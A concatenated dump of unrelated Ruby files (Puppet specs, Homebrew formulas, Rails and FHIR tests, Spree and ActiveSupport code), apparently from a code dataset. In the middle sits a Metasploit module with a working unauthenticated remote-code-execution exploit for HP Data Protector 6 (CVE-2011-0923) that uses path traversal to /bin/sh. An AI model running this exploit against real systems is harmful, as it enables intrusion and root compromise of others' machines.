mysql_primitive, mysql_clone) end context 'between a clone and its primitive' do let(:autorequire_relationship) { apache_clone.autorequire[0] } it 'has exactly one autorequire' do expect(apache_clone.autorequire.count).to eq(1) end it 'has apache primitive as source of autorequire' do expect(autorequire_relationship.source).to eq apache_primitive end it 'has apache clone as target of autorequire' do expect(autorequire_relationship.target).to eq apache_clone end end context 'between a clone and its master/slave primitive' do let(:autorequire_relationship) { mysql_clone.autorequire[0] } it 'has exactly one autorequire' do expect(mysql_clone.autorequire.count).to eq(1) end it 'has mysql primitive as source of autorequire' do expect(autorequire_relationship.source).to eq mysql_primitive end it 'has mysql clone as target of autorequire' do expect(autorequire_relationship.target).to eq mysql_clone end end end describe 'establishing autorequires between clones and groups' do let(:apache_group) { create_cs_group_resource('apache-gr', 'apache') } let(:apache_clone) { create_cs_clone_resource_with_group('apache-gr') } before do create_catalog(apache_group, apache_clone) end let(:autorequire_relationship) { apache_clone.autorequire[0] } # rubocop:disable RSpec/ScatteredLet it 'has exactly one autorequire' do expect(apache_clone.autorequire.count).to eq(1) end it 'has apache group as source of autorequire' do expect(autorequire_relationship.source).to eq apache_group end it 'has apache clone as target of autorequire' do expect(autorequire_relationship.target).to eq apache_clone end end describe 'establishing autorequires between clones and shadow cib' do let(:puppetcib_shadow) { create_cs_shadow_resource('puppetcib') } let(:nginx_clone_in_puppetcib_cib) { create_cs_clone_resource_with_cib('nginx', 'puppetcib') } let(:autorequire_relationship) { nginx_clone_in_puppetcib_cib.autorequire[0] } before do create_catalog(puppetcib_shadow, nginx_clone_in_puppetcib_cib) end it 'has exactly one autorequire' do expect(nginx_clone_in_puppetcib_cib.autorequire.count).to eq(1) end it 'has puppetcib shadow cib as source of autorequire' do expect(autorequire_relationship.source).to eq puppetcib_shadow end it 'has nginx clone as target of autorequire' do expect(autorequire_relationship.target).to eq nginx_clone_in_puppetcib_cib end end describe 'establishing autorequires between clone and services' do let(:pacemaker_service) { create_service_resource('pacemaker') } let(:corosync_service) { create_service_resource('corosync') } let(:mysql_clone) { create_cs_clone_resource('mysql') } before do create_catalog(pacemaker_service, corosync_service, mysql_clone) end context 'between a clone and the services' do let(:autorequire_first_relationship) { mysql_clone.autorequire[0] } let(:autorequire_second_relationship) { mysql_clone.autorequire[1] } it 'has exactly 2 autorequire' do expect(mysql_clone.autorequire.count).to eq(2) end it 'has corosync service as source of first autorequire' do expect(autorequire_first_relationship.source).to eq corosync_service end it 'has mysql clone as target of first autorequire' do expect(autorequire_first_relationship.target).to eq mysql_clone end it 'has pacemaker service as source of second autorequire' do expect(autorequire_second_relationship.source).to eq pacemaker_service end it 'has mysql clone as target of second autorequire' do expect(autorequire_second_relationship.target).to eq mysql_clone end end end end
34.880435
103
0.704581
4a00ae856cb93efa95f918c9ccbb7b5692d52311
2,973
class TbbAT2020 < Formula desc "Rich and complete approach to parallelism in C++" homepage "https://github.com/oneapi-src/oneTBB" url "https://github.com/intel/tbb/archive/v2020.3.tar.gz" version "2020_U3" sha256 "ebc4f6aa47972daed1f7bf71d100ae5bf6931c2e3144cf299c8cc7d041dca2f3" license "Apache-2.0" bottle do sha256 cellar: :any, arm64_big_sur: "60d6f53048879cec2af79648d56cc206c7bdd6044259244e8523ab2f49c8152b" sha256 cellar: :any, big_sur: "596f3f92c1765f24b9dc9cd866e8068c505428c9dcb9941df7b5f0ea4e10cde9" sha256 cellar: :any, catalina: "65adefc9242c9bcadfa22eeb8fbe67c8ac750d59107b7ea69da3715d1c2cbd78" sha256 cellar: :any, mojave: "7016ea351af4cab641ab86faa3f0cd50a3cc9f262ea4afdcc70b058e3d467e99" sha256 cellar: :any_skip_relocation, x86_64_linux: "23f0b69996c2ce8d0ff5e101488376f70460894cee9a84ad170cc682384d7720" # linuxbrew-core end keg_only :versioned_formula deprecate! date: "2020-04-02", because: :unsupported depends_on "cmake" => :build depends_on "swig" => :build depends_on "[email protected]" # Remove when upstream fix is released # https://github.com/oneapi-src/oneTBB/pull/258 patch do url "https://github.com/oneapi-src/oneTBB/commit/86f6dcdc17a8f5ef2382faaef860cfa5243984fe.patch?full_index=1" sha256 "d62cb666de4010998c339cde6f41c7623a07e9fc69e498f2e149821c0c2c6dd0" end def install compiler = (ENV.compiler == :clang) ? "clang" : "gcc" system "make", "tbb_build_prefix=BUILDPREFIX", "compiler=#{compiler}" lib.install Dir["build/BUILDPREFIX_release/#{shared_library("*")}"] # Build and install static libraries system "make", "tbb_build_prefix=BUILDPREFIX", "compiler=#{compiler}", "extra_inc=big_iron.inc" lib.install Dir["build/BUILDPREFIX_release/*.a"] include.install "include/tbb" cd "python" do ENV["TBBROOT"] = prefix if OS.linux? system "make", "-C", "rml", "compiler=#{compiler}", "CPATH=#{include}" lib.install Dir["rml/libirml.so*"] end system Formula["[email protected]"].opt_bin/"python3", *Language::Python.setup_install_args(prefix) end os = if OS.mac? "Darwin" else "Linux" end system "cmake", *std_cmake_args, "-DINSTALL_DIR=lib/cmake/TBB", "-DSYSTEM_NAME=#{os}", "-DTBB_VERSION_FILE=#{include}/tbb/tbb_stddef.h", "-P", "cmake/tbb_config_installer.cmake" (lib/"cmake"/"TBB").install Dir["lib/cmake/TBB/*.cmake"] end test do (testpath/"test.cpp").write <<~EOS #include <tbb/task_scheduler_init.h> #include <iostream> int main() { std::cout << tbb::task_scheduler_init::default_num_threads(); return 0; } EOS system ENV.cxx, "test.cpp", "-L#{lib}", "-I#{include}", "-ltbb", "-o", "test" system "./test" end end
36.703704
139
0.662967
03ead5be37eb0f24832a7cc7fb9ec8ece86563cd
56
# typed: false module Foo module Opus::Bar end end
8
18
0.678571
7af60cd4a60a6f5965595194ac9f552e293eba1b
1,490
require 'test_helper' class UsersLoginTest < ActionDispatch::IntegrationTest def setup @user = users(:michael) end test "login with invalid information" do get login_path assert_template 'sessions/new' post login_path, params: { session: { email: "", password: "" } } assert_template 'sessions/new' assert_not flash.empty? get root_path assert flash.empty? end test "login with valid information followed by logout" do get login_path post login_path, params: { session: { email: @user.email, password: 'password' } } assert is_logged_in? assert_redirected_to @user follow_redirect! assert_template 'users/show' assert_select "a[href=?]", login_path, count: 0 assert_select "a[href=?]", logout_path assert_select "a[href=?]", user_path(@user) delete logout_path assert_not is_logged_in? assert_redirected_to root_url # Simulate a user clicking logout in a second window. delete logout_path follow_redirect! assert_select "a[href=?]", login_path assert_select "a[href=?]", logout_path, count: 0 assert_select "a[href=?]", user_path(@user), count: 0 end test "login with remembering" do log_in_as(@user, remember_me: '1') assert_not_nil cookies['remember_token'] end test "login without remembering" do log_in_as(@user, remember_me: '0') assert_nil cookies['remember_token'] end end
29.215686
67
0.669799
ac44640304adb7bbcb92553db0deebc6b738e0f9
445
module UploadsHelper def generate_link_with_thumbnail(upload) # Using the same check that we use in the model to see if we need to post process # We see if this is an image and needs a thumbnail if upload.image? link_to '<img src="/'.html_safe + upload.upload.url(:preview) + '>"'.html_safe, home_path + upload.upload.url else link_to image_tag("blank_preview.png"), home_path + upload.upload.url end end end
37.083333
115
0.707865
d5e462bd6f2d85e43eda3bf1c0e866a581961101
15,002
module Crucible module Tests class ConnectathonPatientTrackTest < BaseSuite def id 'Connectathon Patient Track' end def description 'Connectathon Patient Track tests: registering, updating, history, and search' end def initialize(client1, client2=nil) super(client1, client2) @tags.append('connectathon') @category = {id: 'connectathon', title: 'Connectathon'} @supported_versions = [:stu3] end def setup @resources = Crucible::Generator::Resources.new(fhir_version) @patient = @resources.example_patient @patient.id = nil # clear the identifier, in case the server checks for duplicates @patient.identifier = nil # clear the identifier, in case the server checks for duplicates @patient_us = @resources.example_patient_us @patient_us.id = nil # clear the identifier, in case the server checks for duplicates @patient_us.identifier = nil # clear the identifier, in case the server checks for duplicates end def teardown @client.destroy(FHIR::Patient, @patient_id) if !@patient_id.nil? @client.destroy(FHIR::Patient, @patient_us_id) if !@patient_us_id.nil? end # # Test if we can create a new Patient. # test 'C8T1_1A','Register a new patient' do metadata { links "#{REST_SPEC_LINK}#create" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#1._Register_a_new_patient' requires resource: 'Patient', methods: ['create'] validates resource: 'Patient', methods: ['create'] } reply = @client.create @patient @patient_id = reply.id assert_response_ok(reply) if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if we can create a new Patient with US Extensions. # test 'C8T1_1B','Register a new patient - BONUS: Extensions' do metadata { links "#{REST_SPEC_LINK}#create" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#1._Register_a_new_patient' requires resource: 'Patient', methods: ['create'] validates resource: 'Patient', methods: ['create'] validates extensions: ['extensions'] } reply = @client.create @patient_us @patient_us_id = reply.id @patient_us.id = reply.resource.id || reply.id assert_response_ok(reply) if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if we can update a patient. # test 'C8T1_2A','Update a patient' do metadata { links "#{REST_SPEC_LINK}#update" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#2._Update_a_patient' requires resource: 'Patient', methods: ['create', 'update'] validates resource: 'Patient', methods: ['update'] } skip 'Patient not registered properly in C8T1_1A.' unless @patient_id @patient.id = @patient_id @patient.telecom[0].value='1-800-TOLL-FREE' @patient.telecom[0].system='phone' @patient.name[0].given = ['Crocodile','Pants'] reply = @client.update @patient, @patient_id assert_response_ok(reply) if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if we can update a patient with unmodified extensions. # test 'C8T1_2B','Update a patient - BONUS: Unmodifier Extensions' do metadata { links "#{REST_SPEC_LINK}#update" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#2._Update_a_patient' requires resource: 'Patient', methods: ['create','update'] validates resource: 'Patient', methods: ['update'] validates extensions: ['extensions'] } skip 'Patient with unmodified extension not properly created in test C8T1_1B' unless @patient_us_id @patient_us.id = @patient_us_id @patient_us.extension[0].extension[0].valueCoding.code = '1569-3' @patient_us.extension[1].extension[0].valueCoding.code = '2186-5' reply = @client.update @patient_us, @patient_us_id assert_response_ok(reply) if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient_us.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if we can update a patient with modified extensions. # test 'C8T1_2C','Update a patient - BONUS: Modifier Extensions' do metadata { links "#{REST_SPEC_LINK}#update" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#2._Update_a_patient' requires resource: 'Patient', methods: ['create','update'] validates resource: 'Patient', methods: ['update'] validates extensions: ['modifying extensions'] } skip 'Patient with unmodified extension not properly created in test C8T1_1B' unless @patient_us_id @patient_us.id = @patient_us_id @patient_us.modifierExtension ||= [] @patient_us.modifierExtension << FHIR::Extension.new @patient_us.modifierExtension[0].url='http://projectcrucible.org/modifierExtension/foo' @patient_us.modifierExtension[0].valueBoolean = true reply = @client.update @patient_us, @patient_us_id @patient_us.modifierExtension.clear assert([200,201,422].include?(reply.code), 'The server should except a modifierExtension, or return 422 if it chooses to reject a modifierExtension it does not understand.',"Server response code: #{reply.code}\n#{reply.body}") if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if we can update a patient with primitive extensions. # TODO: Currently primitive extensions are not supported # test 'C8T1_2D','Update a patient - BONUS: Primitive Extensions' do # metadata { # links "#{REST_SPEC_LINK}#update" # links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#2._Update_a_patient' # requires resource: 'Patient', methods: ['create','update'] # validates resource: 'Patient', methods: ['update'] # validates extensions: ['primitive extensions'] # } # skip unless @patient_us_id # skip # Primitive Extensions are not supported in the STU3 models # @patient_us.id = @patient_us_id # @patient_us.gender = 'male' # pe = FHIR::PrimitiveExtension.new # pe.path='_gender' # pe['extension'] = [ FHIR::Extension.new ] # pe['extension'][0].url = 'http://hl7.org/test/gender' # pe['extension'][0].valueString = 'Male' # @patient_us.primitiveExtension ||= [] # @patient_us.primitiveExtension << pe # reply = @client.update @patient_us, @patient_us_id # assert_response_ok(reply) # if !reply.resource.nil? # temp = reply.resource.id # reply.resource.id = nil # warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } # reply.resource.id = temp # end # warning { assert_valid_resource_content_type_present(reply) } # warning { assert_last_modified_present(reply) } # warning { assert_valid_content_location_present(reply) } # end # # Test if we can update a patient with complex extensions. # test 'C8T1_2E','Update a patient - BONUS: Complex Extensions' do metadata { links "#{REST_SPEC_LINK}#update" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#2._Update_a_patient' requires resource: 'Patient', methods: ['create','update'] validates resource: 'Patient', methods: ['update'] validates extensions: ['complex extensions'] } skip 'Patient with unmodified extension not properly created in test C8T1_1B' unless @patient_us_id @patient_us.id = @patient_us_id begin @patient_us.primitiveExtension.clear rescue Exception => e # IGNORE: the above call always throws an exception -- even though it succeeds!! end ext = FHIR::Extension.new ext.url = 'http://hl7.org/complex/foo' ext.extension ||= [] ext.extension << FHIR::Extension.new ext.extension[0].url='http://complex/foo/bar' ext.extension[0].valueString = 'foobar' @patient.extension ||= [] @patient.extension << ext reply = @client.update @patient_us, @patient_us_id assert_response_ok(reply) if !reply.resource.nil? temp = reply.resource.id reply.resource.id = nil warning { assert @patient.equals?(reply.resource), 'The server did not correctly preserve the Patient data.' } reply.resource.id = temp end warning { assert_valid_resource_content_type_present(reply) } warning { assert_last_modified_present(reply) } warning { assert_valid_content_location_present(reply) } end # # Test if can retrieve patient history # test 'C8T1_3','Retrieve Patient History' do metadata { links "#{REST_SPEC_LINK}#history" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#3._Retrieve_Patient_history' requires resource: 'Patient', methods: ['create', 'update'] validates resource: 'Patient', methods: ['history'] } skip 'Patient not registered properly in C8T1_1A.' unless @patient_id result = @client.resource_instance_history(FHIR::Patient,@patient_id) assert_response_ok result assert_equal 2, result.resource.total, 'The number of returned versions is not correct' warning { assert_equal 'history', result.resource.type, 'The bundle does not have the correct type: history' } warning { check_sort_order(result.resource.entry) } end def check_sort_order(entries) entries.each_cons(2) do |left, right| assert !left.resource.meta.nil?, 'Unable to determine if entries are in the correct order -- no meta' assert !right.resource.meta.nil?, 'Unable to determine if entries are in the correct order -- no meta' if !left.resource.meta.versionId.nil? && !right.resource.meta.versionId.nil? assert (left.resource.meta.versionId > right.resource.meta.versionId), 'Result contains entries in the wrong order.' elsif !left.resource.meta.lastUpdated.nil? && !right.resource.meta.lastUpdated.nil? assert (left.resource.meta.lastUpdated >= right.resource.meta.lastUpdated), 'Result contains entries in the wrong order.' else raise AssertionException.new 'Unable to determine if entries are in the correct order -- no meta.versionId or meta.lastUpdated' end end end # # Search for a patient on name # test 'C8T1_4', 'Search patient resource on given name' do metadata { links "#{REST_SPEC_LINK}#history" links "#{BASE_SPEC_LINK}/search.html" links 'http://wiki.hl7.org/index.php?title=FHIR_Connectathon_8#4._Search_for_a_patient_on_name' requires resource: 'Patient', methods: ['create'] validates resource: 'Patient', methods: ['search'] } search_string = @patient.name[0].given[0] search_regex = Regexp.new(search_string) options = { :search => { :flag => false, :compartment => nil, :parameters => { 'given' => search_string } } } @client.use_format_param = false reply = @client.search(FHIR::Patient, options) assert_response_ok(reply) assert_bundle_response(reply) assert (reply.resource.total > 0), 'The server did not report any results.' end # # Delete patient # test 'C8T1_5', 'Delete patient' do metadata { links "#{REST_SPEC_LINK}#delete" links "#{BASE_SPEC_LINK}/patient.html" requires resource: 'Patient', methods: ['delete'] } skip 'Patient not registered properly in C8T1_1A.' unless @patient_id reply = @client.destroy(FHIR::Patient, @patient_id) assert([200, 204].include?(reply.code), 'The server should have returned a 200 or 204 upon successful deletion.') reply = @client.read(FHIR::Patient, @patient_id) assert([404, 410].include?(reply.code), 'The server should have deleted the resource and now return 410.') warning { assert(reply.code == 404, 'Deleted resource was reported as unknown (404). If the system tracks deleted resources, it should respond with 410.')} @patient_id = nil # this patient successfully deleted so does not need to be deleted in teardown end end end end
40.219839
234
0.639181
ed2fa9b424d0f0326c648c62f4c2cfc9338251a5
361
class SplashtopStreamer < Cask version '2.4.5.3' sha256 '07fd11f7c19ce0c7c29e65d5182532940f74e6e4512b696c19e58389d5e86357' url "https://d17kmd0va0f0mp.cloudfront.net/mac/Splashtop_Streamer_MAC_v#{version}.dmg" homepage 'http://www.splashtop.com/downloads' pkg 'Splashtop Streamer.pkg' uninstall :pkgutil => 'com.splashtop.splashtopStreamer.*' end
32.818182
88
0.792244
7a9712a25cdf0ce6f91d2c266dde234b3528b538
1,195
class PgpoolIi < Formula desc "PostgreSQL connection pool server" homepage "https://www.pgpool.net/mediawiki/index.php/Main_Page" url "https://www.pgpool.net/mediawiki/images/pgpool-II-4.2.1.tar.gz" sha256 "98938af9fccc37bcea76e6422e42ce003faedb1186cdc3b9940eb6ba948cdae1" livecheck do url "https://www.pgpool.net/mediawiki/index.php/Downloads" regex(/href=.*?pgpool-II[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do rebuild 1 sha256 arm64_big_sur: "0d35b158d2d40bf8ee53db5774749ed7254874ce6f56c0eb0ac9a12510e2813b" sha256 big_sur: "0cf130171e6dee4a3c0cd5034a6d32031a137ea51c1f054047974b6a97b474cf" sha256 catalina: "61f0433e8836ce6fa178158889c0026af1220f169101f766419d3a470ef72f49" sha256 mojave: "ee328e472570d92320f144ba86530d9a5b8fa81e00813d2404aabfe7fc40e0ad" end depends_on "postgresql" def install system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}", "--sysconfdir=#{etc}" system "make", "install" end test do cp etc/"pgpool.conf.sample", testpath/"pgpool.conf" system bin/"pg_md5", "--md5auth", "pool_passwd", "--config-file", "pgpool.conf" end end
36.212121
92
0.720502
b974661ffab6a4383c200600bf786554cf957d5d
3,172
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector 6 EXEC_CMD Remote Code Execution', 'Description' => %q{ This exploit abuses a vulnerability in the HP Data Protector service. This flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD command and traverse back to /bin/sh, this allows arbitrary remote code execution under the context of root. }, 'Author' => [ 'ch0ks', # poc 'c4an', # msf poc 'wireghoul', # Improved msf 'Javier Ignacio' #Verified on A06.20 ], 'References' => [ [ 'CVE', '2011-0923'], [ 'OSVDB', '72526'], [ 'ZDI', '11-055'], [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux'], [ 'URL', 'https://community.rapid7.com/thread/2253' ] ], 'DisclosureDate' => 'Feb 7 2011', 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 10000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'HP Data Protector 6.10/6.11/6.20 on Linux', {}] ], 'DefaultTarget' => 0 )) register_options([Opt::RPORT(5555),]) end def exploit user = rand_text_alpha(4) packet = "\x00\x00\x00\xa4\x20\x32\x00\x20" packet << user*2 packet << "\x00\x20\x30\x00\x20" packet << "SYSTEM" packet << "\x00\x20\x63\x34\x61\x6e" packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20" packet << user packet << "\x20\x20\x20\x20\x00\x20" packet << "\x50\x6f\x63" packet << "\x00\x20" packet << "NTAUTHORITY" packet << "\x00\x20" packet << "NTAUTHORITY" packet << "\x00\x20" packet << "NTAUTHORITY" packet << "\x00\x20\x30\x00\x20\x30\x00\x20" packet << "../../../../../../../../../../" shell_mio = "bin/sh" shell = shell_mio shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" shell << payload.encoded shell << "\n" sploit = packet + shell begin print_status("Sending our commmand...") connect sock.put(sploit) print_status("Waiting ...") handler # Read command output from socket if cmd/unix/generic payload was used if (datastore['CMD']) res = sock.get_once(-1, 10) print_status(res.to_s) if not res.empty? end rescue print_error("Error in connection or socket") ensure disconnect end end end
29.64486
101
0.550757
08e1d224852a11ccb4fa81e78aea46f935a31bed
200
module PayoneerApiClient class PayeeDetails class << self def status(payee_id) PayoneerApiClient.make_api_request("payees/#{payee_id}/details", :get) end end end end
16.666667
78
0.675
ffe541369b6b14aa03bce7304b9d2c51848f5842
1,223
module Spree class Promotion module Actions class CreateLineItems < PromotionAction has_many :promotion_action_line_items, :foreign_key => :promotion_action_id attr_accessor :line_items_string def perform(options = {}) return unless order = options[:order] promotion_action_line_items.each do |item| current_quantity = order.quantity_of(item.variant) if current_quantity < item.quantity order.add_variant(item.variant, item.quantity - current_quantity) order.update! end end end def line_items_string promotion_action_line_items.map { |li| "#{li.variant_id}x#{li.quantity}" }.join(',') end def line_items_string=(value) promotion_action_line_items.destroy_all value.to_s.split(',').each do |str| variant_id, quantity = str.split('x') if variant_id && quantity && variant = Variant.find_by_id(variant_id) promotion_action_line_items.create({:variant => variant, :quantity => quantity.to_i}, :without_protection => true) end end end end end end end
33.054054
128
0.619787
abaab14fb707715351cbb4b99f7b54e592892fb6
3,944
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"] # or in config/master.key. This key is used to decrypt credentials (and other encrypted files). # config.require_master_key = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? # Compress JavaScripts and CSS. config.assets.js_compressor = :uglifier # config.assets.css_compressor = :sass # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = false # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Store uploaded files on the local file system (see config/storage.yml for options) config.active_storage.service = :local # Mount Action Cable outside main process or domain # config.action_cable.mount_path = nil # config.action_cable.url = 'wss://example.com/cable' # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Use the lowest log level to ensure availability of diagnostic information # when problems arise. config.log_level = :debug # Prepend all log lines with the following tags. config.log_tags = [ :request_id ] # Use a different cache store in production. # config.cache_store = :mem_cache_store # Use a real queuing backend for Active Job (and separate queues per environment) # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "ProyectoSW2018_#{Rails.env}" config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. # require 'syslog/logger' # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? logger = ActiveSupport::Logger.new(STDOUT) logger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(logger) end # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false end
41.515789
102
0.758621
f7909cdb0571a901b4b8a28c85ff5d2af71da979
1,253
# encoding: UTF-8 # frozen_string_literal: true # Requirements # ======================================================================= # Project / Package # ----------------------------------------------------------------------- # Extending {Callable} require_relative './callable' # Describes {Instance} require_relative './instance' # Refinements # ======================================================================= require 'nrser/refinements/types' using NRSER::Types # Namespace # ======================================================================= module NRSER module Described # Definitions # ======================================================================= # @todo doc me! # class Method < Callable # Config # ======================================================================== subject_type ::Method from instance: Instance, unbound_method: UnboundMethod \ do |instance:, unbound_method:| unbound_method.bind instance end from object: Object, :@name => self.Names::Method do |object:, name:| object.method name end end # class Callable # /Namespace # ======================================================================= end # module Described end # module NRSER
20.883333
76
0.415004
7aade82874324ba0e2db5399617b8b09d5abfd1c
636
module VCAP::CloudController class BuildpackBitsDelete def self.delete_when_safe(blobstore_key, staging_timeout) return unless blobstore_key blobstore = CloudController::DependencyLocator.instance.buildpack_blobstore blob = blobstore.blob(blobstore_key) return unless blob attrs = blob.attributes(*CloudController::Blobstore::Blob::CACHE_ATTRIBUTES) blobstore_delete = Jobs::Runtime::BlobstoreDelete.new(blobstore_key, :buildpack_blobstore, attrs) Delayed::Job.enqueue(blobstore_delete, queue: Jobs::Queues.generic, run_at: Delayed::Job.db_time_now + staging_timeout) end end end
39.75
125
0.77044
5d5dc3525b3dd037d07b9a9afd62a1a502c626d1
451
# $postmark_client = Postmark::ApiClient.new(ENV['POSTMARK_API_TOKEN']) # def send_email(to, subj, html_body) # $postmark_client.deliver( # from: '[email protected]', # to: to, # subject: subj, # html_body: html_body, # track_opens: true # ) # end # def send_default_email #for testing # subj = "test subject #{Time.now}" # send_email('[email protected]', subj, '<strong>Hello</strong> dear Postmark user.') # end
25.055556
93
0.662971
bb1add8271fb880796d6cd75d757bd609ceb80fb
215
Rails.application.routes.draw do devise_for :users resources :test_models root to: 'test_models#index' # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html end
30.714286
101
0.776744
1adfe4edf406fab6c08983e6b285bf94b36b4a3a
3,818
require 'abstract_unit' class GrandParent include ActiveSupport::Callbacks attr_reader :log, :action_name def initialize(action_name) @action_name, @log = action_name, [] end define_callbacks :dispatch set_callback :dispatch, :before, :before1, :before2, :if => proc {|c| c.action_name == "index" || c.action_name == "update" } set_callback :dispatch, :after, :after1, :after2, :if => proc {|c| c.action_name == "update" || c.action_name == "delete" } def before1 @log << "before1" end def before2 @log << "before2" end def after1 @log << "after1" end def after2 @log << "after2" end def dispatch run_callbacks :dispatch do @log << action_name end self end end class Parent < GrandParent skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" } skip_callback :dispatch, :after, :after2, :unless => proc {|c| c.action_name == "delete" } end class Child < GrandParent skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" }, :if => :state_open? def state_open? @state == :open end def initialize(action_name, state) super(action_name) @state = state end end class EmptyParent include ActiveSupport::Callbacks def performed? @performed ||= false end define_callbacks :dispatch def perform! @performed = true end def dispatch run_callbacks :dispatch self end end class EmptyChild < EmptyParent set_callback :dispatch, :before, :do_nothing def do_nothing end end class CountingParent include ActiveSupport::Callbacks attr_reader :count define_callbacks :dispatch def initialize @count = 0 end def count! @count += 1 end def dispatch run_callbacks(:dispatch) self end end class CountingChild < CountingParent end class BasicCallbacksTest < ActiveSupport::TestCase def setup @index = GrandParent.new("index").dispatch @update = GrandParent.new("update").dispatch @delete = GrandParent.new("delete").dispatch end def test_basic_conditional_callback1 assert_equal %w(before1 before2 index), @index.log end def test_basic_conditional_callback2 assert_equal %w(before1 before2 update after2 after1), @update.log end def test_basic_conditional_callback3 assert_equal %w(delete after2 after1), @delete.log end end class InheritedCallbacksTest < ActiveSupport::TestCase def setup @index = Parent.new("index").dispatch @update = Parent.new("update").dispatch @delete = Parent.new("delete").dispatch end def test_inherited_excluded assert_equal %w(before1 index), @index.log end def test_inherited_not_excluded assert_equal %w(before1 before2 update after1), @update.log end def test_partially_excluded assert_equal %w(delete after2 after1), @delete.log end end class InheritedCallbacksTest2 < ActiveSupport::TestCase def setup @update1 = Child.new("update", :open).dispatch @update2 = Child.new("update", :closed).dispatch end def test_crazy_mix_on assert_equal %w(before1 update after2 after1), @update1.log end def test_crazy_mix_off assert_equal %w(before1 before2 update after2 after1), @update2.log end end class DynamicInheritedCallbacks < ActiveSupport::TestCase def test_callbacks_looks_to_the_superclass_before_running child = EmptyChild.new.dispatch assert !child.performed? EmptyParent.set_callback :dispatch, :before, :perform! child = EmptyChild.new.dispatch assert child.performed? end def test_callbacks_should_be_performed_once_in_child_class CountingParent.set_callback(:dispatch, :before) { count! } child = CountingChild.new.dispatch assert_equal 1, child.count end end
21.570621
127
0.710058
